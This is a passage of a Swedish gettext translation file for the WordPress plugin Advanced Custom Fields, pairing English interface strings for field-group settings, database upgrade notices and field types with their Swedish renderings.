#: admin/views/field-group-locations.php:6 fields/relationship.php:743
msgid "Post Type"
msgstr "Inläggstyp"

#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Inläggsstatus"

#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Inläggsformat"

#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Inläggskategori"

#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Inläggstaxonomi"

#: admin/views/field-group-locations.php:13 
#: admin/views/field-group-locations.php:17
msgid "Page"
msgstr "Sida"

#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Sidmall"

#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Sidtyp"

#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Sidans förälder"

#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Användare"

#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Inloggad användare"

#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Inloggad användarroll"

#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Användarformulär"

#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Användarroll"

#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:49
msgid "Forms"
msgstr "Formulär"

#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Bilaga"

#: admin/views/field-group-locations.php:27
msgid "Taxonomy Term"
msgstr "Taxonomivärde"

#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Kommentar"

#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Widget"

#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Regler"

#: admin/views/field-group-locations.php:42
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr "Reglera var denna fältgrupp ska visas"

#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr "Visa detta fält när"

#: admin/views/field-group-options.php:19
msgid "Style"
msgstr "Stil"

#: admin/views/field-group-options.php:26
msgid "Standard (WP metabox)"
msgstr "Standard (WP metabox)"

#: admin/views/field-group-options.php:27
msgid "Seamless (no metabox)"
msgstr "Transparent (ingen metabox)"

#: admin/views/field-group-options.php:34
msgid "Position"
msgstr "Position"

#: admin/views/field-group-options.php:41
msgid "High (after title)"
msgstr "Hög (efter titel)"

#: admin/views/field-group-options.php:42
msgid "Normal (after content)"
msgstr "Normal (efter innehåll)"

#: admin/views/field-group-options.php:43
msgid "Side"
msgstr "Sidopanel"

#: admin/views/field-group-options.php:51
msgid "Label placement"
msgstr "Titel placering"

#: admin/views/field-group-options.php:58 fields/tab.php:117
msgid "Top aligned"
msgstr "Toppjusterad"

#: admin/views/field-group-options.php:59 fields/tab.php:118
msgid "Left Aligned"
msgstr "Vänsterjusterad"

#: admin/views/field-group-options.php:66
msgid "Instruction placement"
msgstr "Placering av instruktion"

#: admin/views/field-group-options.php:73
msgid "Below labels"
msgstr "Under titlar"

#: admin/views/field-group-options.php:74
msgid "Below fields"
msgstr "Under fält"

#: admin/views/field-group-options.php:81
msgid "Order No."
msgstr "Ordningsnummer"

#: admin/views/field-group-options.php:82
msgid "Field groups with a lower order will appear first"
msgstr "Fältgrupper med lägre ordningsnummer kommer synas först"

#: admin/views/field-group-options.php:93
msgid "Shown in field group list"
msgstr "Visas i fältgruppslistan"

#: admin/views/field-group-options.php:103
msgid "Hide on screen"
msgstr "Dölj på skärmen"

#: admin/views/field-group-options.php:104
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr "<b>Välj</b> objekt för att <b>dölja</b> dem från redigeringsvyn"

#: admin/views/field-group-options.php:104
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Om flera fältgrupper visas i redigeringsvyn, kommer första gruppens "
"inställningar att användas (den med lägst ordningsnummer)"

#: admin/views/field-group-options.php:111
msgid "Permalink"
msgstr "Permalänk"

#: admin/views/field-group-options.php:112
msgid "Content Editor"
msgstr "Innehållsredigerare"

#: admin/views/field-group-options.php:113
msgid "Excerpt"
msgstr "Utdrag"

#: admin/views/field-group-options.php:115
msgid "Discussion"
msgstr "Diskussion"

#: admin/views/field-group-options.php:116
msgid "Comments"
msgstr "Kommentarer"

#: admin/views/field-group-options.php:117
msgid "Revisions"
msgstr "Versioner"

#: admin/views/field-group-options.php:118
msgid "Slug"
msgstr "Permalänk"

#: admin/views/field-group-options.php:119
msgid "Author"
msgstr "Författare"

#: admin/views/field-group-options.php:120
msgid "Format"
msgstr "Format"

#: admin/views/field-group-options.php:121
msgid "Page Attributes"
msgstr "Sidattribut"

#: admin/views/field-group-options.php:122 fields/relationship.php:756
msgid "Featured Image"
msgstr "Utvald bild"

#: admin/views/field-group-options.php:123
msgid "Categories"
msgstr "Kategorier"

#: admin/views/field-group-options.php:124
msgid "Tags"
msgstr "Taggar"

#: admin/views/field-group-options.php:125
msgid "Send Trackbacks"
msgstr "Skicka trackbacks"

#: admin/views/install-network.php:13 admin/views/install.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Advanced Custom Fields databasuppgradering"

#: admin/views/install-network.php:15
#, php-format
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click %s."
msgstr ""
"Följande sajter behöver en databasuppdatering. Kryssa i de du vill uppdatera "
"och klicka på %s."

#: admin/views/install-network.php:24 admin/views/install-network.php:32
msgid "Site"
msgstr "Webbplats"

#: admin/views/install-network.php:52
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Webbplatsen kräver en databasuppgradering från %s till %s"

#: admin/views/install-network.php:54
msgid "Site is up to date"
msgstr "Webbplatsen är uppdaterad"

#: admin/views/install-network.php:67
#, php-format
msgid ""
"Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr ""
"Uppgradering av databas slutförd. <a href=\"%s\">Återvänd till nätverkets "
"startpanel</a>"

#: admin/views/install-network.php:106 admin/views/install-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Det rekommenderas starkt att du säkerhetskopierar din databas innan du "
"fortsätter. Är du säker på att vill köra uppdateringen nu?"

#: admin/views/install-network.php:162
msgid "Upgrade complete"
msgstr "Uppgradering genomförd"

#: admin/views/install-network.php:166 admin/views/install.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Uppgradera data till version %s"

#: admin/views/install-notice.php:23
msgid "Database Upgrade Required"
msgstr "Uppgradering av databasen krävs"

#: admin/views/install-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Tack för du uppdaterade till %s v%s!"

#: admin/views/install-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Innan du börjar använda de nya fantastiska funktionerna, vänligen uppdatera "
"din databas till den senaste versionen."

#: admin/views/install.php:12
msgid "Reading upgrade tasks..."
msgstr "Läser in uppgifter för uppgradering..."

#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Ladda ner & installera"

#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Installerad"

#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Välkommen till Advanced Custom Fields"

#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Tack för att du uppdaterar! ACF %s är större och bättre än någonsin tidigare."
" Vi hoppas att du gillar det."

#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr "En smidigare fältupplevelse"

#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Förbättrad användarvänlighet"

#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Vi har inkluderat det populära biblioteket Select2 som har förbättrat både "
"användbarhet och laddningstid för ett antal fälttyper såsom inläggsobjekt, "
"sidlänk, taxonomi och val."

#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Förbättrad design"

#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Många fält har genomgått en visuell förbättring för att låta ACF se bättre "
"ut än någonsin! Märkbara förändringar syns på galleriet-, relation- och "
"oEmbed- (nytt) fälten!"

#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Förbättrad data"

#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Omdesignen av dataarkitekturen har tillåtit underfält att leva självständigt "
"från deras föräldrar. Detta gör att du kan dra och släppa fält in och ut "
"från förälderfälten!"

#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Adjö tillägg. Hej PRO"

#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Introducerande av ACF PRO"

#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr "Vi ändrar hur premium funktionalitet levereras, på ett spännande sätt!"

#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Samtliga 4 premiumtillägg har kombineras till en ny <a href=\"%s\">Pro "
"version av ACF</a>. Med både personlig- och utvecklarlicens tillgänglig, så "
"är premium funktionalitet billigare och tillgängligare än någonsin!"

#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Kraftfulla funktioner"

#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"ACF PRO innehåller kraftfulla funktioner som upprepningsfält, flexibelt "
"innehåll, ett vackert gallerifält och möjligheten att skapa extra "
"inställningssidor!"

#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "Läs mer om <a href=\"%s\">ACF PRO funktioner</a>."

#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Enkelt att uppgradera"

#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"För att göra uppgraderingen enkel, <a href=\"%s\">logga in till ditt "
"konto</a> och få en gratis kopia av ACF PRO!"

#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a "
"href=\"%s\">help desk</a>"
msgstr ""
"Vi skrev även en <a href=\"%s\">uppgraderings guide</a>för svara på "
"eventuella frågor, men om du har en, vänligen kontakta vårt support team via "
"<a href=\"%s\">help desk</a>"

#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Under huven"

#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Smartare fältinställningar"

#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr "ACF sparar nu sina fältinställningar som individuella postobjekt"

#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Mer AJAX"

#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr "Fler fält använder AJAX-sök för snabbare laddning"

#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "Lokal JSON"

#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr "Ny automatisk export till JSON funktion förbättrar snabbheten"

#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Bättre versionshantering"

#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"Ny auto export till JSON funktion möjliggör versionshantering av "
"fältinställningar"

#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "Bytte XML till JSON"

#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "Import / Export använder nu JSON istället för XML"

#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Nya formulär"

#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"Fält kan nu kopplas till kommentarer, widgets och alla användarformulär."

#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Ett nytt fält för inbäddning av innehåll (embed) har lagts till"

#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Nytt galleri"

#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr "Gallerifältet har genomgått en välbehövlig ansiktslyftning"

#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Nya inställningar"

#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Fältgruppsinställningar har lagts till för placering av titel och "
"instruktioner"

#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "Bättre front-end formulär"

#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() kan nu skapa ett nytt inlägg vid submit"

#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Bättre validering"

#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr "Validering av formulär görs nu via PHP + AJAX istället för enbart JS"

#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Relationsfält"

#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Ny inställning för relationsfält för 'Filter' (Sök, Inläggstyp, Taxonomi)"

#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Flytta runt fält"

#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"Ny fältgrupp funktionalitet tillåter dig att flytta ett fält mellan grupper "
"& föräldrar"

#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Sidlänk"

#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr "Ny arkivgrupp i page_link fältval"

#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Bättre inställningssidor"

#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Nya funktioner för inställningssidor tillåter skapande av både föräldra- och "
"undersidor"

#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Vi tror att du kommer uppskatta förändringarna i %s."

#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr "Exportera fältgrupper till PHP"

#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"Följande kod kan användas för att registrera en lokal version av valda "
"fältgrupp(er). Ett lokal fältgrupp kan ge många fördelar som snabbare "
"laddningstider, versionshantering & dynamiska fält/inställningar. Det är "
"bara att kopiera och klistra in följande kod till ditt temas functions.php "
"fil eller att inkludera det i en extern fil."

#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Välj fältgrupp"

#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Exportera fältgrupper"

#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Välj de fältgrupper som du vill exportera och sedan välj din exportmetod. "
"Använd knappen för exportera till en .json fil som du sedan kan importera "
"till en annan ACF installation. Använd generera-knappen för att exportera "
"PHP kod som du kan lägga till i ditt tema."

#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "Ladda ner exportfil"

#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Generera exportkod"

#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Importera fältgrupper"

#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Välj den Advanced Custom Fields JSON-fil som du vill importera. När du "
"klickar på import knappen så kommer ACF importera fältgrupperna."

#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Välj fil"

#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importera"

#: api/api-helpers.php:881
msgid "Thumbnail"
msgstr "Tumnagel"

#: api/api-helpers.php:882
msgid "Medium"
msgstr "Mellan"

#: api/api-helpers.php:883
msgid "Large"
msgstr "Stor"

#: api/api-helpers.php:932
msgid "Full Size"
msgstr "Full storlek"

#: api/api-helpers.php:1189 api/api-helpers.php:1739 pro/fields/clone.php:1002
msgid "(no title)"
msgstr "(ingen titel)"

#: api/api-helpers.php:1776 fields/page_link.php:284 
#: fields/post_object.php:283 fields/taxonomy.php:988
msgid "Parent"
msgstr "Förälder"

#: api/api-helpers.php:3784
#, php-format
msgid "Image width must be at least %dpx."
msgstr "Bildens bredd måste vara åtminstone %dpx."

#: api/api-helpers.php:3789
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "Bildens bredd får inte överskrida %dpx."

#: api/api-helpers.php:3805
#, php-format
msgid "Image height must be at least %dpx."
msgstr "Bildens höjd måste vara åtminstone %dpx."

#: api/api-helpers.php:3810
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "Bildens höjd får inte överskrida %dpx."

#: api/api-helpers.php:3828
#, php-format
msgid "File size must be at least %s."
msgstr "Filstorlek måste vara åtminstone %s."

#: api/api-helpers.php:3833
#, php-format
msgid "File size must must not exceed %s."
msgstr "Filstorlek får inte överskrida %s."

#: api/api-helpers.php:3867
#, php-format
msgid "File type must be %s."
msgstr "Filtyp måste vara %s."

#: api/api-template.php:1027 core/field.php:327
msgid "Content"
msgstr "Innehåll"

#: api/api-template.php:1035
msgid "Validate Email"
msgstr "Validera E-post"

#: api/api-template.php:1085
msgid "Spam Detected"
msgstr "Skräppost Upptäckt"

#: api/api-template.php:1288 pro/api/api-options-page.php:50 
#: pro/fields/gallery.php:588
msgid "Update"
msgstr "Uppdatera"

#: api/api-template.php:1289
msgid "Post updated"
msgstr "Inlägg uppdaterat"

#: core/field.php:326
msgid "Basic"
msgstr "Enkel"

#: core/field.php:328
msgid "Choice"
msgstr "Alternativ"

#: core/field.php:329
msgid "Relational"
msgstr "Relation"

#: core/field.php:330
msgid "jQuery"
msgstr "jQuery"

#: core/field.php:331 fields/checkbox.php:281 fields/radio.php:292 
#: pro/fields/clone.php:849 pro/fields/flexible-content.php:571 
#: pro/fields/flexible-content.php:620 pro/fields/repeater.php:506
msgid "Layout"
msgstr "Layout"

#: core/input.php:258
msgid "Expand Details"
msgstr "Visa detaljer"

#: core/input.php:259
msgid "Collapse Details"
msgstr "Dölj detaljer"

#: core/input.php:260
msgid "Validation successful"
msgstr "Validering lyckades"

#: core/input.php:261 core/validation.php:322 forms/widget.php:234
msgid "Validation failed"
msgstr "Validering misslyckades"

#: core/input.php:262
msgid "1 field requires attention"
msgstr "1 fält kräver din uppmärksamhet"

#: core/input.php:263
#, php-format
msgid "%d fields require attention"
msgstr "%d fält kräver din uppmärksamhet"

#: core/input.php:264
msgid "Restricted"
msgstr "Begränsad"

#: core/media.php:54 fields/select.php:265
msgctxt "verb"
msgid "Select"
msgstr "Välj"

#: core/media.php:55
msgctxt "verb"
msgid "Edit"
msgstr "Ändra"

#: core/media.php:56
msgctxt "verb"
msgid "Update"
msgstr "Uppdatera"

#: core/media.php:57 fields/file.php:49 fields/image.php:54 
#: pro/fields/gallery.php:55
msgid "Uploaded to this post"
msgstr "Uppladdade till detta inlägg"

#: core/validation.php:207
#, php-format
msgid "%s value is required"
msgstr "%s värde är obligatorisk"

#: fields/checkbox.php:36 fields/taxonomy.php:782
msgid "Checkbox"
msgstr "Kryssruta"

#: fields/checkbox.php:145
msgid "Toggle All"
msgstr "Markera alla"

#: fields/checkbox.php:241 fields/radio.php:242 fields/select.php:463
msgid "Choices"
msgstr "Alternativ"

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "Enter each choice on a new line."
msgstr "Ange varje alternativ på en ny rad"

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "For more control, you may specify both a value and label like this:"
msgstr "För mer kontroll, kan du specificera både ett värde och etikett såhär:"

#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "red : Red"
msgstr "röd : Röd"

#: fields/checkbox.php:272 fields/color_picker.php:147 fields/email.php:133 
#: fields/number.php:145 fields/radio.php:283 fields/select.php:472 
#: fields/text.php:142 fields/textarea.php:139 fields/true_false.php:150 
#: fields/url.php:114 fields/wysiwyg.php:445
msgid "Default Value"
msgstr "Standardvärde"

#: fields/checkbox.php:273 fields/select.php:473
msgid "Enter each default value on a new line"
msgstr "Ange varje standardvärde på en ny rad"

#: fields/checkbox.php:287 fields/radio.php:298
msgid "Vertical"
msgstr "Vertikal"

#: fields/checkbox.php:288 fields/radio.php:299
msgid "Horizontal"
msgstr "Horisontell"

#: fields/checkbox.php:295
msgid "Toggle"
msgstr "Slå på/av"

#: fields/checkbox.php:296
msgid "Prepend an extra checkbox to toggle all choices"
msgstr "Visa en extra kryssruta för att markera alla val"

#: fields/checkbox.php:305 fields/file.php:222 fields/image.php:208 
#: fields/radio.php:306 fields/taxonomy.php:835
msgid "Return Value"
msgstr "Returvärde"

#: fields/checkbox.php:306 fields/file.php:223 fields/image.php:209 
#: fields/radio.php:307
msgid "Specify the returned value on front end"
msgstr "Välj vilken typ av värde som ska returneras på front-end"

#: fields/checkbox.php:311 fields/radio.php:312 fields/select.php:527
msgid "Value"
msgstr "Värde"

#: fields/checkbox.php:313 fields/radio.php:314 fields/select.php:529
msgid "Both (Array)"
msgstr "Båda"

#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Färgväljare"

#: fields/color_picker.php:83
msgid "Clear"
msgstr "Rensa"

#: fields/color_picker.php:84
msgid "Default"
msgstr "Standard"

#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Välj färg"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Nuvarande färg"

#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Datumväljare"

#: fields/date_picker.php:44
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Färdig"

#: fields/date_picker.php:45
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Idag"

#: fields/date_picker.php:46
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Nästa"

#: fields/date_picker.php:47
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Föregående"

#: fields/date_picker.php:48
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "V"

#: fields/date_picker.php:197 fields/date_time_picker.php:186 
#: fields/time_picker.php:126
msgid "Display Format"
msgstr "Visa format"

#: fields/date_picker.php:198 fields/date_time_picker.php:187 
#: fields/time_picker.php:127
msgid "The format displayed when editing a post"
msgstr "Formatet som visas när du redigerar ett inlägg"

#: fields/date_picker.php:212 fields/date_time_picker.php:202 
#: fields/post_object.php:447 fields/relationship.php:783 
#: fields/select.php:522 fields/time_picker.php:140
msgid "Return Format"
msgstr "Returvärde"

#: fields/date_picker.php:213 fields/date_time_picker.php:203 
#: fields/time_picker.php:141
msgid "The format returned via template functions"
msgstr "Formatet som returneras av mallfunktioner"

#: fields/date_picker.php:243 fields/date_time_picker.php:218
msgid "Week Starts On"
msgstr "Veckor börjar på"

#: fields/date_time_picker.php:36
msgid "Date Time Picker"
msgstr "Datum/tidväljare"

#: fields/date_time_picker.php:44
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Välj tid"

#: fields/date_time_picker.php:45
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Tid"

#: fields/date_time_picker.php:46
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Timme"

#: fields/date_time_picker.php:47
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Minut"

#: fields/date_time_picker.php:48
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Sekund"

#: fields/date_time_picker.php:49
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Millisekund"

#: fields/date_time_picker.php:50
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Mikrosekund"

#: fields/date_time_picker.php:51
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Tidszon"

#: fields/date_time_picker.php:52
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Nu"

#: fields/date_time_picker.php:53
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Klar"

#: fields/date_time_picker.php:54
msgctxt "Date Time Picker JS selectText"
msgid "Select"
msgstr "Välj"

#: fields/date_time_picker.php:56
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "AM"

#: fields/date_time_picker.php:57
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "A"

#: fields/date_time_picker.php:60
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "PM"

#: fields/date_time_picker.php:61
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "P"

#: fields/email.php:36
msgid "Email"
msgstr "E-post"

#: fields/email.php:134 fields/number.php:146 fields/radio.php:284 
#: fields/text.php:143 fields/textarea.php:140 fields/url.php:115 
#: fields/wysiwyg.php:446
msgid "Appears when creating a new post"
msgstr "Visas när ett nytt inlägg skapas"

#: fields/email.php:142 fields/number.php:154 fields/password.php:134 
#: fields/text.php:151 fields/textarea.php:148 fields/url.php:123
msgid "Placeholder Text"
msgstr "Platshållartext"

#: fields/email.php:143 fields/number.php:155 fields/password.php:135 
#: fields/text.php:152 fields/textarea.php:149 fields/url.php:124
msgid "Appears within the input"
msgstr "Visas inuti fältet"

#: fields/email.php:151 fields/number.php:163 fields/password.php:143 
#: fields/text.php:160
msgid "Prepend"
msgstr "Lägg till före"

#: fields/email.php:152 fields/number.php:164 fields/password.php:144 
#: fields/text.php:161
msgid "Appears before the input"
msgstr "Visas före fältet"

#: fields/email.php:160 fields/number.php:172 fields/password.php:152 
#: fields/text.php:169
msgid "Append"
msgstr "Lägg till efter"

#: fields/email.php:161 fields/number.php:173 fields/password.php:153 
#: fields/text.php:170
msgid "Appears after the input"
msgstr "Visas efter fältet"

#: fields/file.php:36
msgid "File"
msgstr "Fil"

#: fields/file.php:47
msgid "Edit File"
msgstr "Redigera fil"

#: fields/file.php:48
msgid "Update File"
msgstr "Uppdatera fil"

#: fields/file.php:148
msgid "File name"
msgstr "Filnamn"

#: fields/file.php:152 fields/file.php:255 fields/file.php:266 
#: fields/image.php:270 fields/image.php:303 pro/fields/gallery.php:707 
#: pro/fields/gallery.php:740
msgid "File size"
msgstr "Filstorlek"

#: fields/file.php:177
msgid "Add File"
msgstr "Lägg till fil"

#: fields/file.php:228
msgid "File Array"
msgstr "Fil array"

#: fields/file.php:229
msgid "File URL"
msgstr "Filadress"

#: fields/file.php:230
msgid "File ID"
msgstr "Filens ID"

#: fields/file.php:237 fields/image.php:233 pro/fields/gallery.php:670
msgid "Library"
msgstr "Bibliotek"

#: fields/file.php:238 fields/image.php:234 pro/fields/gallery.php:671
msgid "Limit the media library choice"
msgstr "Begränsa urvalet i mediabiblioteket"

#: fields/file.php:244 fields/image.php:240 pro/fields/gallery.php:677
msgid "Uploaded to post"
msgstr "Uppladdade till detta inlägg"

#: fields/file.php:251 fields/image.php:247 pro/fields/gallery.php:684
msgid "Minimum"
msgstr "Minimalt"

#: fields/file.php:252 fields/file.php:263
msgid "Restrict which files can be uploaded"
msgstr "Begränsa vilka filer som kan laddas upp"

#: fields/file.php:262 fields/image.php:280 pro/fields/gallery.php:717
msgid "Maximum"
msgstr "Maximalt"

#: fields/file.php:273 fields/image.php:313 pro/fields/gallery.php:750
msgid "Allowed file types"
msgstr "Tillåtna filtyper"

#: fields/file.php:274 fields/image.php:314 pro/fields/gallery.php:751
msgid "Comma separated list. Leave blank for all types"
msgstr "Kommaseparerad lista. Lämna blankt för alla typer"

#: fields/google-map.php:36
msgid "Google Map"
msgstr "Google Map"

#: fields/google-map.php:51
msgid "Locating"
msgstr "Söker plats"

#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "Tyvärr saknar denna webbläsare stöd för platsinformation"

#: fields/google-map.php:133
msgid "Clear location"
msgstr "Rensa plats"

#: fields/google-map.php:134
msgid "Find current location"
msgstr "Hitta nuvarande plats"

#: fields/google-map.php:137
msgid "Search for address..."
msgstr "Sök efter adress..."

#: fields/google-map.php:167 fields/google-map.php:178
msgid "Center"
msgstr "Centrera"

#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center the initial map"
msgstr "Kartans initiala centrum"

#: fields/google-map.php:192
msgid "Zoom"
msgstr "Zoom"

#: fields/google-map.php:193
msgid "Set the initial zoom level"
msgstr "Ange kartans initiala zoom nivå"

#: fields/google-map.php:202 fields/image.php:259 fields/image.php:292 
#: fields/oembed.php:270 pro/fields/gallery.php:696 pro/fields/gallery.php:729
msgid "Height"
msgstr "Höjd"

#: fields/google-map.php:203
msgid "Customise the map height"
msgstr "Ställ in kartans höjd"

#: fields/image.php:36
